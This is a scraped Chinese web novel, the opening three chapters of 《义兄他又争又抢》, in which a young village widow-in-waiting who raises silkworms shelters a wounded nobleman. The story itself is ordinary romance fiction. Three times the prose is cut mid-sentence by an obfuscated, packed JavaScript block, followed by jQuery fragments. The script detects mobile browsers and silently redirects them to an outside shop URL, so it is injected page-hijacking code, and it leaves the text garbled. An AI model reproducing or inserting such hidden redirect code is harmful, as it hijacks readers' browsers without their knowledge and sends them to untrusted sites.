《义兄他又争又抢》 1. 春雨夜 “嘀嗒，嘀嗒……” 屋顶那处常漏的地方又开始滴水。 青棠趿上鞋，拿个罐子接在下面，双手放到嘴边呵两口热气，搓着肩膀钻回被窝。 已是三更时分，窗外雨打芭蕉轻响不断，她正犹豫要不要将晾在外面的蚕子收起来。 她家这地方紧捱山根，爹娘去世后，家中只余她一人，山里常有野兽出没，这样黑的夜里是断然不敢出去的。 青棠姓罗，但不是罗家的女儿，是罗家为儿子罗怀生买回来的童养媳。 罗父带她回来时正是合欢花开得最盛的时候，于是她姓了夫家的姓，有了新名字。 那一年她八岁，成了罗青棠。 对于生身父母，她已全然没有印象，至于原来姓什么叫什么，也不记得了，只依稀记得自己有个小名叫“招娣”。 招娣，一个普通而又普遍的名字。 未来的“夫君”罗怀生比她小一岁，第一次见面时，他正在对着一堆土撒尿和泥，见父亲带回个陌生人来，顿时起了敌意，抓起一块泥巴冲她丢过去。 青棠躲闪不及，泥巴扑在打补丁的裤腿儿上，她看着直犯恶心，但还是捏着鼻子打水为罗怀生清洗。 她着急表现是怕罗家不要她，再回到人牙子手里，指不定会被卖到什么地方。 爹娘见她乖巧懂事，甚是满意，只待怀生年满十五后令二人成婚。 转眼八年过去，就在罗家收拾好新房准备办婚礼的前夕，一场暴雨突至，将在钱塘江疏浚河道的怀生冲走，生不见人死不见尸，只有同乡代为从官府领回的一双旧鞋和十两抚恤金。 怀生死后半年，爹出门贩私盐，不慎跌下山崖摔死，又三月，娘因伤心过度而亡。 罗家热闹的小院从此冷清下来。 青棠卖掉最后两亩山地，为母亲办了丧礼，此后守着三间房舍、几株桑树独自过活。 越来越密集的滴水声让她烦闷不已，屋顶会越漏越严重，明天一定要请人来修修。 其实每次下雨，她都是这样想，可天晴之后又忘记了。 以前家里哪里坏了破了，爹马上就能修好，她从没关心过，现在自己一个人挑家过日子，才知不是件容易的事。 夜深人寂时，水滴之声格外清晰，扰得人不能成眠，青棠叹了口气，盼着雨赶紧停下来。 黄耳狗旺来趴在外间，忽而警觉地抬起头，似乎听到了什么动静，片刻后跑到后门，朝着黑漆漆的夜吠了几声。 青棠听到动静，冲着屋外喊到：“旺来，回来。” 旺来不为所动，又吠了几声。 青棠叫不回它，便披衣起身来到后院，先踩着小竹凳子将棚子顶上的蚕子取下来，小心放到笸箩里，又招呼了一遍旺来。 旺来像是没听到，跑到院子里冲着院外桑树的黑影呲牙。 这几株桑树是罗父二十年前种下的，已有水桶般粗细，原本是为自家养蚕时有桑叶吃，没想到现在成了生活的指望。 罗家原来还算殷实，只是这十几年来战乱不断，朝廷赋税年年加重，日子过得一年不如一年。 罗母生育了五个孩子，个个不甚康健，为了给几个孩子延医问药，罗父卖了水田和茶园，到最后却是人财两空，只保下罗怀生一个。 家里人丁不旺，罗父外出做工时买回了青棠。 彼时青棠瘦得厉害，好似一阵风就能吹走，人牙子着急赶路便半卖半送，只为赶紧将这个累赘出手。 刚来这个家时，青棠印象最深刻的就是这几株大桑树。 桑树高大条畅，风穿树枝，撞得树叶“沙沙”作响，此刻如鬼魅哀嚎一般。 青棠仔细听，发觉风中隐隐夹着悉索的脚步声。 她担心是狼，顺手抄起根木头去院里，想将旺来牵回来，若真是狼，她们两个可不是对手。 旺来却不回去，反倒咬着青棠的衣袖朝桑树走，青棠知道这是要带她去看，但她胆怯不敢前去，想赶紧回屋去。 旺来只好独自跑到树根下，用鼻子拱开草丛，叼着东西向外拖，东西似乎很大，拖了几下也拖不动，它朝着青棠叫几声。 青棠听出求救的意思，见似乎没有危险，才壮着胆子前去帮旺来，但还是双手握紧木棍以防万一，拨开草叶俯身细看，却见一个人俯卧在那里。 夜半三更，月黑风高，一个不知死活的人突然出现在家门口，换做谁都会害怕，青棠当即面如土色，后脊起了一层冷汗，骇得跌坐在地。 正准备逃走，脚腕被人一把拽住，惊恐之余，她闻到浓重的血腥味，听见微弱的人语声传来。 “救我……” 是个男子，人还活着！ 青棠用棍子捅捅，那人发出几声痛苦的闷哼声。 的确还活着。 青棠害怕极力，很想回屋里去，但她心善做，不到见死不救。 与旺来费了九牛二虎之力，将人拖回屋内搬到床上，之后在油灯里多插了一根灯芯点燃，让屋里亮堂一些。 借着火光，她看清这人满脸脏污，靛蓝色衣衫被血浸染，左臂的伤口潦草地包扎过，经过折腾又渗出鲜血。 青棠顾不得周身泥水，赶紧到灶间生火烧水，又翻找出一些布条来帮他包扎伤口。 细看左臂上的伤，伤口处赫然插着半截断箭，她不敢贸然拔出，等天亮去找王伯来瞧瞧。 王伯是走乡药郎，家就在村子里，但他常年在外游走，只在过年前后回家居住，现在正好在家。 水热后，青棠打湿帕巾，轻轻擦去这人面上的泥水草叶，这才看清他的面容，高耸的眉骨、挺拔的鼻梁，瞧着很是俊朗。 大约是流血太多的缘故，这人面色苍白，给他包扎清洗都没醒来，此外检查身上其它伤口时，还发现一把短刀、一块玉佩和一块木牌，木牌上刻着“庆王府”三字。 庆王府？这人是京城来的？ 救人要紧，她没有多想，将这些东西包好放在枕头下，等人醒后还给他。 忙活了许久，天色已蒙蒙亮，青棠累了一身汗，简单擦把脸换身干净衣裳，赶紧出门去寻王伯。 刚走上大路，就远远看见王伯背着药篓朝大山方向而去，她忙追过去喊道：“王伯，王伯……” 王伯回头见是青棠，便停下步子，这丫头当年被捡回来水土不服，还是他给治好的。 他笑道：“是青棠啊，这么早？” 青棠喘了两口气，擦擦额角的薄汗，着急道：“我家有个病人，劳烦王伯去瞧瞧。” “你家啥时候多了个人？”王伯嘴上问着，步子却向她家拐去。 “捡……捡来的……”青棠实话实说。 王伯闻言不禁皱了眉头，这年头外面不太平，若是捡了什么不三不四的人回来，说不定会惹上麻烦，这丫头心地纯善，不一定能想到这一层，暗自为她担心起来。 很快到了青棠家，那个人还没有醒。 王伯检查了伤势，周身伤口并无大碍，只有臂上的箭头需拔出来，他游走乡间，什么疑难杂症都瞧过，这点伤不在话下。 他让青棠准备剪刀、酒和干净的布，手上动作干净利落，拔剪头时男子醒了一瞬后又疼晕过去。 青棠在边上看得脸都白了，心跟着一跳一跳的，这得多疼啊。 “好了，回头你去山根下采点仙鹤草，捣碎了敷在他伤口上。”王伯洗净双手，又叮嘱道：“你看他这身衣服华贵无比，绝非寻人能穿，拔出来的箭头也是官兵所用，这个人身份不简单……等他醒了就赶紧让他走吧，咱们小门小户的，最好别惹上什么是非。” 青棠觉得王伯说得极有道理，京城庆王府的人能出现在偏僻小山村，事情一定不简单。 说话间，王伯已经收拾好自己的东西，“人应该没事了，我采药回来再过来看看。” 青棠拿出一些铜板和两条腊肉算作诊金，王伯不收。 “我和你爹是自小的交情，他虽不在了，你还是我侄女，哪儿有要侄女钱的道理。” 青棠执意要给，王伯推辞不过，拿着一条腊肉走了。 依照王伯的交代，青棠出后门到山脚下采了些仙鹤草洗净捣碎。 但怎么敷是个难题，大伤口处理好了，可周身还有小伤口，敷药难免要有肢体接触。 这让她有些犯难。 从前爹和怀生在世时，天热的时候也会脱掉上衣，赤膊干活，每每看到这情景她都会找个借口躲起来，后来娘发现她的不自在，才开始让爹和怀生注意起来。 一起生活多年的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587419|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人尚且如此，何况面对一个陌生男人，她有点后悔让王伯离开了。 但人还得救。 青棠硬着头皮去解开那人的衣带，甫一上手，男子猛然睁开眼睛，未受伤的手掐住她的手腕，力道之大全然不像受伤之人。 “你做什么？” 他视线锐利，戒备地盯着青棠。 青棠被突然其来的喝问骇一跳，本能地将手往回收，男子却紧抓不松。 显然是对方误会她了，可她没有生气，见人醒来反倒觉着辛苦没白费，轻而柔和地解释道：“我给你敷药，你伤得很重。” 男子发觉她并无恶意才松开手，挣扎着想要起身，问道：“昨晚是你救了我，多谢……敢问姑娘姓名，日后定会重谢。” “你不能动，伤口又要出血。”青棠见缠在左臂上的布条被血洇红，赶紧按住他，“我叫青棠。” “多谢青棠姑娘。”男子点头致谢，大约牵扯到伤口疼痛，额头起了层密密麻麻的冷汗，深吸一口气后说道，“方才多有得罪，请姑娘继续。” 青棠继续去解衣带，手上动作很轻，先是外衫，继而中衣、亵衣陆续被解开，男子精壮有力的胸膛暴露在外，让她有些耳根发红。 这人看着清瘦却并不单薄，肌肉匀称结实，皮肤莹白细腻，不像乡下人那种常年在外劳作，被太阳晒得如古铜一般的黝黑肤色。 伤口印在身躯上，像砍柴时在树干上留下的痕迹，十分可怖。 男子经过半夜昏睡，已清醒许多，环视四周才知身处农宅之中，屋内陈设简单家具老旧，但打扫得一尘不染。 他姓楚，名珩，字平江，是安国公府世子，不久前奉旨随庆王去往钱塘公干，路上遇到刺客，他与庆王互换衣衫引开刺客，带伤奔袭两天两夜，最终坚持不住晕倒在了这不知名的地方。 眼前这个女子，青布衣裳洗得发白，头上插着木簪，发髻用一块蓝底白花的布包住，耳边垂落的发丝随着手上动作而轻晃。 草药敷在身上，清清凉凉的感觉缓解了疼痛，女子柔软的指尖有意无意地接触，他十分不惯，索性闭上眼睛。 青棠只顾低头敷药，并没有察觉伤者的异样，但安静的氛围让她觉得应该说点什么，于是开口问道：“你的东西都收在枕下，你看看有没有少什么？” 楚珩掀开枕头，果然东西都在，尤其那块玉佩，是御赐之物，价值不菲。 青棠又问：“你叫什么名字？是从京城来的吗？等你好了或许可以找人搭伴回去。” 楚珩微微诧异，她怎么知道他是从京城来的，看向木牌时他明白过来，这女子大约识字，但只有“庆王府”三字也不能表明身份。 他沉吟片刻已想好说辞。 “在下名叫平江，是京中庆王府侍卫，奉命外出遇匪负伤，多谢姑娘相救，日后必会重谢。” 青棠听到“庆王府”三字能和木牌上对应，心中松了半口气，他没有说谎，像是个实诚人。 为他敷好药，将衣襟虚虚掩好，又拉过被子盖上，才说道：“王伯说得不错，你果然是高门出来的人。” 楚珩立即警惕起来，“还有别人知道我在这里？” “是给你看伤的郎中。”青棠听出语气中的戒备，补充道：“放心，他是好人。” 是不是好人，楚珩不敢轻易相信，眼下重伤行动不便，贸然离开只有死路一条，权宜之计是在这里养伤，等自己人来找。 主意已定，他再次开口，“青棠姑娘，我现在不便行动，需留在此处养伤，但我此行机密，还望姑娘不要告知他人，日后必有重谢。” 这是他第二次承诺重谢。 山村民风淳朴，大家你帮我、我帮你早已成习惯，所以对他说的重谢，青棠不在意，也不指望。 若留他常住却是不敢，但此刻拒绝一个柔弱之人，她又于心不忍，只淡淡点头回应。 太阳已高高升起，早饭还没吃，忙碌了一晚，青棠又饿又累，去往灶间烧水煮粥。 楚珩没得到明确回答，终是心存疑虑，但也无办法，说话耗去大部分体力，精神不济阖眼休息。 朦胧中脚步声近，掀开一条眼缝看过去，顿觉汗毛倒竖、神经紧绷。 那姑娘正提着一把明晃晃的菜刀朝他走来。 2. 乌毛蚕 方才楚珩连着道了三次谢，请求收留时言辞恳切，青棠便觉得这人不坏。 他又重伤，独自离开怕是要死在外面，这年头活着不容易，青棠动了恻隐之心，打算暂时留下他。 留下他，不仅仅是多一副碗筷的事，她细细思量，手里还有些散碎银子，吃喝不成问题，眼下最要紧的，是如何对村里人解释这人的来历，听这人刚才话里的意思，是不愿别人知其身份，要编个由头才好。 编个什么由头呢？ 青棠边忙边想，一时拿不定主意，趁着熬粥的功夫去蚕房看蚕子，有几颗已经瘪下去，刚孵出来的乌毛蚕正往笸箩边缘爬。 估摸今日蚕子能全孵出来，她赶紧出后院摘了一把新桑叶回来。 乌毛蚕口小，吃不得大桑叶，需将桑叶用干净的刀切成细细的丝才行。 今年是青棠第一次独自养蚕，拿起菜刀才想起娘以前切桑叶时，总要先用酒将菜刀仔细擦干净。 酒还在卧房里，王伯给伤者疗伤时用来着，她担心蚕饥，想都没想就拎着菜刀进去拿。 楚珩睁眼看到的就是这一幕，误认为青棠想要谋他性命，登时紧张起来，手持短刀挺起上半身做防御状。 青棠疑惑地看着他，眨巴着大眼睛问道：“你这是做什么？” 楚珩不见她有其它动作，方觉自己想错了，眼底的狠戾渐渐消散。 二人就这样愣愣地看着彼此。 这还是楚珩第一次瞧清楚这女子的容貌，眉若弯月，面若芙蕖，粉黛不施，温婉自然，尤其是一双水汪汪的杏眼，现在正满含不解，一副娇憨情态。 他松了口气，收起短刀，随便扯了个慌。 “哦，没什么……做噩梦了……抱歉。” “饿了吧，饭一会儿就好。”青棠浅浅一笑，脸颊上陷出两个小窝。 螓首蛾眉，巧笑倩兮，美目盼兮。 楚珩不知怎地想起这几句诗来，觉得用来形容眼前的女子十分贴切，忽而又觉这样看着人不好，眼眸一低将目光错开。 他还是头一次离除了母亲、乳母以外的女子这么近。 楚珩年少时便父亲驻守北地，父亲身故后，圣上念及安国公府子息单薄，下旨召他回京任职。 祖父指望他承袭爵位光耀门楣，故待他极严，他也洁身自好，现今二十有三，连个近身服侍的婢女都没有。 适才那样直视她，实在于礼不合，想及此处，他又说了声：“抱歉。” 青棠朝他笑笑，并不知他因什么抱歉，心里惦记着乌毛蚕，没功夫去揣测，只觉这人怪客气的。 拿起酒坛边走边打开，醇香弥漫，让她想起爹来。 爹在世时，日日劳作辛苦，晚饭时总爱小酌两杯解乏，那时家里常备着酒，爹去世后，家里再不曾备过酒。 她尝了一小口，辛辣直冲喉头，呛得直流泪咳嗽。 这坛酒是为上坟准备的，爹一辈子不舍得喝好酒，她特意去镇上打了一坛贵的，不想此时派上用场。 桑叶切好后饭也熟了，青棠端着粥和咸菜进屋，扶起楚珩靠在床头，盛了粥要喂他。 “多谢，我自己可以。”楚珩左手不能动，用缠着布条右手接过碗，却不喝。 青棠夹了些咸菜给他，自己低头慢慢吃起来。 楚珩在她靠近时闻到一股草木汁清香，又见她指尖染上翠绿色，才知方才错怪了她，她拿菜刀只是为了干农活。 又见她喝了粥，才敢放心喝粥。 饭吃得鸦雀无声，沉默略显尴尬，正好试探试探她，他轻声问道：“敢问姑娘，这里是什么地界？” 青棠回答：“荷花塘。” 楚珩并不知道具体是哪里，回忆着舆图和自己来时的方向，又问：“可隶属于会稽郡？” 青棠自打到这里就没离开过，只听村里人说起过会稽郡，回答道：“会稽倒是离这里不远，沿大路走到三界镇，再向前可到会稽。怎的？你要去会稽？” “不，就是问问……”楚珩恐她胡乱猜测，转移话题：“怎么不见姑娘家人？” 青棠放下碗筷，沉默一瞬如实回答：“爹娘……都死了。” 她没提怀生，因为不知道该用什么称呼来介绍，若怀生还活着，他们早该结为夫妻，或许还会有个孩子。 虽然怀生性子恶劣，她并不喜欢，但总好过现在孤零零的一个人。 楚珩忙道歉，戳到别人伤心事总归是不好。 青棠没有回答，收起碗筷出去，又拿进捣碎的草药。 楚珩有了些力气，说道：“我自己来，劳驾姑娘回避。” 男女授受不亲，之前是不得已，再不能辱没了姑娘清白。 “好，有事叫我。” 青棠放下草药，到灶间刷碗，之后又去看蚕子。 蚕子已全部孵出，用羽毛轻轻扫到大扁里，又切些桑叶到里面，看着通体乌黑、细若蚂蚁的乌毛蚕精神地啃着桑叶，她心里说不出的高兴，一条蚕就能结出一个蚕茧，今年会有好收获。 高兴之余又不免有些犯愁。 一张蚕子是一两，可分得十大扁，蚕小时吃不了多少桑叶，待三眠分扁后，夜里要起来两三遍，桑叶一担一担挑进门都来不及，有得累人呢。 青棠想左不过一个多月的时间，咬咬牙便能坚持过去，就盼着今年蚕茧行情好，多卖些银钱，手头也宽裕些。 估摸着时间差不多了，她来到卧房，刚伸手推门，想了想还是轻敲了两下。 “进。” 屋内传出楚珩虚弱的声音，他已敷完药，正无力地躺着，外衫脱下堆在一边。 “劳烦姑娘将衣服烧掉，免得……”他说话很是费力。 “我省得，免得人看见，你好好休息。” 青棠没让他说下去，王伯已经提醒过她，处理掉这些痕迹也是为了自己安全，说罢便抱了衣服掩门出去。 刚到灶上，院内响起一连串喊声：“青棠？青棠？在屋里吗？” 只听声音就知是谁，邻居陈桃花。 青棠隔着窗户朝她招手：“桃花，这里！” 陈桃花虚长青棠两岁，男人叫罗水生，与怀生是同一太公的孙子，论辈分青棠该唤她一声嫂子。 她小腹高高耸着，里面正揣着第三个孩子，提着两条鱼来到灶房，爽快道：“给，刚打上来的，我第一个想着给你送来。” 青棠推辞道：“你身子不方便还特意跑一趟做什么，你家人口多，留着吃罢。” “家里够吃。”陈桃花把鱼往她手里送，又问：“你今年养了多少蚕？” 青棠在围裙上擦擦手，接过鱼挂起来，笑着回答：“一两蚕子，多了怕看顾不过来。” “也是，养蚕可是个辛苦活儿。”陈桃花碰碰青棠的胳膊，“罗婶子都去了大半年了，你也不想想寻亲的事？” 青棠摇摇头。 “你今年才十九，真打算守一辈子望门寡呀！” 这话陈桃花劝过青棠许多次，青棠总是以罗家对她有恩来推脱，其实她也不是没想过寻亲，但天下之大，她毫无头绪，再者手头的银钱连路上的食宿都不够。 还没等青棠开口，陈桃花自顾自地继续说下去：“你自钱塘来，又识文断字，说不定是钱塘富贵人家丢的女儿，你去找找，没准能能找到。就算找不到，到钱塘寻户好人家嫁了也行，总好过在这穷山沟里……” 她压低声音，“下沿山李家可打听你好多次了，想找媒人说亲，他家四个儿子打光棍，我看就是惦记着你这点家产……” 这个李家青棠知道，李家大郎李福今年二十有五，虽说长得周正，可一开口就脏话连篇，甚至说些荤话来取乐，让人感觉粗俗不堪。 她想，若真有媒人上门来，就推说自己还有三年孝要守，且走一步看一步。 陈桃花又说了许多劝她离开的话，她耐着性子听完，末了只回了句：“我走了没人上坟。” “你呀！就是死心眼。”陈桃花见青棠一副油盐不进的模样，伸出食指戳她额角，“罗家是救了你，这些年你为他家当牛做马早还回去了，这点家产也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587420|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你应得的，不如趁早卖了离开。” 几年光景在青棠脑中匆匆掠过，到罗家的这几年，罗母的确是将她当婢女使唤，但罗父待她不错，每年过年都给她张罗新衣新鞋，她永远感念这份恩情。 陈桃花见劝不动，岔开话题：“你家桑叶今年长势如何？” 青棠这才明白了她的来意，东拉西扯半日原来是打桑叶的主意，怪不得殷勤送鱼。 都说远亲不如近邻，她家的重活都是陈桃花的男人帮着干，平日里他们一家也多有帮衬，有来有往关系才能长久，于是她主动说道：“我只养了一两蚕子，桑叶是吃不完的，左边靠山那两棵树你采罢。” “那我就不客气了，我婆婆养了三两，想想都要累死人……”陈桃花高兴起来，她身子重，坐在竹椅子上歇息，看见灶台上摆着两副碗筷，又见灶堂前堆着一堆衣物，好奇道：“家里有客人？” “没有……”青棠对她没有戒备，但下意识否认。 陈桃花了解青棠是个实在的，一听就知道她在撒谎，指着衣服揶揄道：“骗我，这是谁的衣服，偷偷藏男人了？” 青棠见瞒不过去，但也不能以实情相告，随口编道：“是……是我表兄的。” 这回答反而勾起陈桃花的好奇，笑问：“罗家并没有什么亲戚，哪里来的表兄，快从实招来。” “是……”青棠暗吸一口气，继续编下去，“是以前的表兄，上次赶集恰巧遇到。” “呦，怪不得刚才和你说寻亲的事你不理，原来是找到了。”陈桃花忽而不再玩笑，认真道：“他可有凭据？别是骗你的。” “早就联系上了，他在会稽高门里当差，犯了错被主家打，回来养伤……”青棠越说越心虚，把衣服塞往灶堂里塞，又补充一句：“等伤好了他就走，你别同别人说。” “放心，不说，你还信不过我？”陈桃花笑着答应，心里却因火舌舔舐衣裳干着急，忙制止道：“这么好的料子，怎么就烧了？。” “已经脏了，也破了……”青棠看着衣服燃起来。 “真可惜……”陈桃花感慨着，那外衫是上好的浣花锦，她在会稽的布料店里见过，听闻一匹就要十几两银子，是她这辈子不敢肖想的东西。 这么好的料子说烧就烧，当真是可惜，衣料没破的地方裁裁剪剪，还能给孩子做件小衣、小鞋。 她只想着布料，也不去追问“表兄”的事，心生一计，说道：“青棠，你把鱼养起来，死了就不新鲜了。” 青棠看看鱼鳞上的水都快干了，赶紧拎着鱼到院子里打水养鱼。 陈桃花将外衫掏出来拍掉余火，卷了藏在衣服里，用脚尖将地上灰烬往灶堂口踢踢，免得青棠看出来。 又朝青棠说了句“我去看看桑树”，从后院离开。 青棠应了声，忙着手中活计，并没注意陈桃花的举动。 一番忙碌，她累得腰酸背痛，又喂了一次蚕后才得了空儿躺在竹椅上休息，随手拿过一片桑叶遮在眼睛上。 新舒展的桑叶金黄娇嫩，照在太阳下，连阳光都是新的，及桑叶成荫时，漫山遍野都将是一片油乌乌。 青棠一会儿想对陈桃花的说词合不合适，一会儿又盘算把帐子挂起来，以免蚕被蚊虫叮咬，还要放几个鼠夹，防止老鼠偷蚕吃…… 谁知想着想着竟睡了过去。 她一夜未睡，这会儿困得很，但心里装着事，睡得并不踏实。 旺来赶着鸡回来时已是晌午。 青棠拍着它的头夸奖了几句，爹娘刚去那会儿，多亏这黄耳狗与她做伴，给了她不少慰藉，如若不然，她真不知道要日子要如何过下去。 圈鸡的时候她习惯性地往鸡窝里看看，里面竟然躺着四个大鸡子。 俗话说“春暖花开、鸡下蛋快”，这是今年第一次捡到鸡子，青棠高兴，喂给旺来两个。 收好鸡子，她去卧房看伤者，却瞧着他似乎不太自在。 楚珩已经醒来，眉头紧蹙面色微红，犹豫良久才艰难启齿：“青棠姑娘，在下内急……” 3. 难为情 啊？内急？ 青棠双手紧捏在一起，不知所措，她不是没伺候过人，罗母生前卧病在床许久，都是她喂饭擦身、端屎端尿。 但罗母是女人，眼前人是男人。 这可如何是好？ 虎子倒是先成的，可他不能行动，总不能帮他吧。 楚珩知道这是为难的事，说道：“我自己来，劳烦你扶我坐起来就好。” 青棠拿出虎子放在床上，依他的话将他扶起后背过身去回避。 楚珩艰难起身坐定，扭动几下也没能将裤子褪下，反倒出了一身虚汗。 青棠听着窸窣的声音，猜测到他行动困难，也憋得难受，不忍道：“还是我帮你吧？” 良久，才听得微弱却短促有力的一声“嗯”，似乎是下了很大决心。 青棠确定裤子的位置后闭上眼睛，一手扶着他一手帮他把裤子往下褪。 楚珩调整好姿势说道：“可以了，劳烦姑娘回避。” 一番折腾费去许多精神，此时腰使不上力，青棠刚松开手他就要倒，没办法只能让她帮忙支撑身体。 “我闭上眼睛，你开始吧。”青棠说着侧过身去。 楚珩将虎子放好，尿液排出，小腹紧绷的力道骤然消散，顿觉整个人都通透了许多。 青棠听着水声簌簌，别提心里多别扭，掌心沁出一层细汗，大气不敢出，后悔没有将耳朵也堵上。 所以在听到他说“好了”之后，赶紧伸手帮他整理。 但目不能视，手朝着记忆的方向伸去，指尖传来毛茸茸的触感，随后虎子被塞到掌心。 青棠堪堪反应过来碰到了什么，腾得羞红脖根，不管其它，提着虎子快步出去。 楚珩尴尬至极，躺回床上浑身不自在，干脆闭眼装睡。 稍微冷静后，他想也许她是故意的。 方才让她处理衣裳的时候，他把玉佩卷在里面来试探，若她不是贪财之人，必会将玉佩送还，然而并没有，可见她有贪图之意。 虽然自己只说是个侍卫，可她不见得信，偏僻山村的农女，一辈子也没有出头之日，与他发生点什么便能攀附，再做出些欲迎还拒的姿态引他上钩，这种手段是高门里惯见的。 这事算不上新鲜，也算不得难办，以后若她纠缠，多给些银两打发掉也就是了。 若银钱解决不了，那就只好杀了她。 屋外，青棠将手搓洗到发红，她真的不是故意的，怎么就这么寸，偏偏摸到了那里，早知这样，就是让他便溺在床上也不会帮他。 她捂着脸蹲了好一会儿才将这股子羞怯劲压下去，之后还是端着热水进屋，方才瞥见他亵衣里的伤口，血渍混着草药汁，被汗水冲淡，黏黏腻腻，看着好不难受。 她喜洁，受不了脏污，以前做完农活，再累也要收拾干净再休息。 她不看他，只轻声说道：“擦擦身子吧。” “多谢……”楚珩拉过被子盖住下身，他也有此意，只是刚才的事让他不好开口。 为了避免再接触，他只让青棠打湿手布巾，坚持自己擦，不小心碰到伤口，渗出丝丝鲜血，又是阵阵疼痛。 青棠看到鲜血，担心他的伤势又要眼中，拿过布巾说道：“还是我来吧。” 楚珩本不愿，可现实情况不允许他逞强。 接触在所难免，青棠已经不那么紧张了，手上动作很轻，清理掉草药，擦去汗水污渍。 柔软的布巾轻轻拂过肌体，触碰的感觉很微妙，酥酥痒痒，是从未有过的感受，女子窈窕的身形近在眼前，楚珩闭眼不看，却有丝丝缕缕的女子体香钻入鼻息，他又屏住呼吸。 黑暗中听青棠说道：“刚才有邻居来，问起你，我说你是我表兄。” 楚珩点头，毕竟是在人家家里，只能客随主便。 青棠继续说：“我还说，你是因为犯了错被主家责罚才来这养伤的，你且安心住下，等伤好再走。” 楚珩一怔，睁眼看着认真为他擦洗的姑娘，这是答应让他留下来了？ 还以为她这么久没回答，是在想如何拒绝，或者在想要他如何报答，他有些不相信，静等她提条件，却没了后话。 他试探着说道：“多谢姑娘收留，日后定不会亏待姑娘，姑娘想要什么尽管开口。” 青棠闻言，眼神带上一丝不悦，对方又说酬谢的话，分明是看轻她，认定她救人是有所图。 她手上动作不再小心，冷声道：“你以为我救你是图钱财，你们京城来的人未免太功利了，活生生的一条命，怎么能不救，昨晚就是猫儿狗儿倒在家门口，我也会救。” 楚珩被说得面色发红，不知说什么好，习惯了京城的尔虞我诈，反倒怀疑起天下还有没有纯粹的善良。 施恩不图报、为善不求名，她看起来只是个单纯善良的姑娘，是自己多疑了。 他打消了询问玉佩去向的念头，也为刚才想杀了她的想法自责。 二人不再说话。 终于，在漫长的煎熬中，青棠端着水盆出去，而楚珩周身也舒爽起来。 午饭，青棠特地用滚开的米汤冲了一大碗鸡子花端给楚珩，对体虚的人来说，最是养人。 楚珩看着碗中的鸡子花在乳白色的米汤中翻滚漂浮，香味直往鼻子里钻，不远处的青棠依旧只吃稀粥咸菜。 浅尝一口，温热滑嫩入喉，直熨贴到心底，他更加愧疚，自己恶意揣测竟是辜负了这番好意。 吃完饭楚珩睡过去，青棠拿起未缝完的衣裳挨窗坐定， 这两年她长得快，衣裳不是短就是瘦，每年都要改上两三次，手里这件已洗得发旧，与接上去的布料是两个颜色，新旧搭配，瞧着怪不好看的。 今年没有大开销，等卖了蚕茧就做一身新衣。 青棠时不时地向外望望，盼着王伯回来，她已将怀生的旧衣翻出洗净，只等王伯来了帮忙给伤者换上。 荷花塘不大，蚕时忙起来，男人在田畈里，女人守着蚕房，村里更无人，安静到只闻鸡鸣犬吠。 屋内亦十分安静，青棠望望床上躺着的男人，虽不说话，但也让这家里多了点活人气。 她想起陈桃花的话，或许该考虑婚事了，李家肯定不行，最好能招个夫婿回来，不用像桃花那样受婆家的气。 均匀绵长的呼吸声传来，青棠看过去，那人似乎睡得很香，乌发如墨般散落在枕衾间，鼻梁高挺，唇色因失血过多而浅淡。 温润的睡颜让她忍不住多看几眼，心下感叹，生得真好看啊，要是能招个这样的夫婿，这辈子也值了。 但很快她就收回目光，打消了痴心妄想。 他是什么人，是可能带来麻烦的人，等他伤好后就赶紧让他走。 想起刚才那个差错，她还是不自在，好在这人没提起，就当没发生过。 她逼迫自己想些别的，比如今年的蚕茧价格、桑叶价格，等赶集的时候再买些米面之类的。 楚珩小憩一会儿便醒来，周围静悄悄的，以为房中无人，睁眼侧目，见青棠坐在窗前缝衣服，趁着针线穿过衣料的功夫向外望一眼，而后目光又落回针线上，像是在等谁。 潋滟春光照着一张柔和的侧脸，她坐在那里温婉娴静，秀丽端庄，透着恬淡自然，宛若从画中走出的淑女。 淑女头颈微动，楚珩赶紧阖眼假寐，喉结一滚，懊悔多看这几眼，实在不合礼数。 青棠见他似乎动了，但不见人醒来，料想他是伤口疼痛不能安眠，更盼着王伯早些归来给他看伤。 又喂过一遍蚕后，王伯背着药篓进院，看了楚珩的伤情，确定无碍后留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587421|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一些草药，细细交代如何使用。 青棠留王伯吃晚饭，王伯将她拉到外面小声说道：“近来注意些，这人看着非凡，或会有人来寻，若是他同伴还好，若是仇敌的话就麻烦了。” 青棠将这人的来历及对陈桃花说的措辞，全都告知王伯，又说道：“我瞧着这人十分客气，不像是坏人。” 王伯并不认同，“知人知面难知心，他的话不能全信，尽快让他离开，我明日外出远游，你自己需多加小心。” 青棠应下来，但想到那人伤势不轻，实不忍心现在就说让他离开的话，姑且收留几日再说。 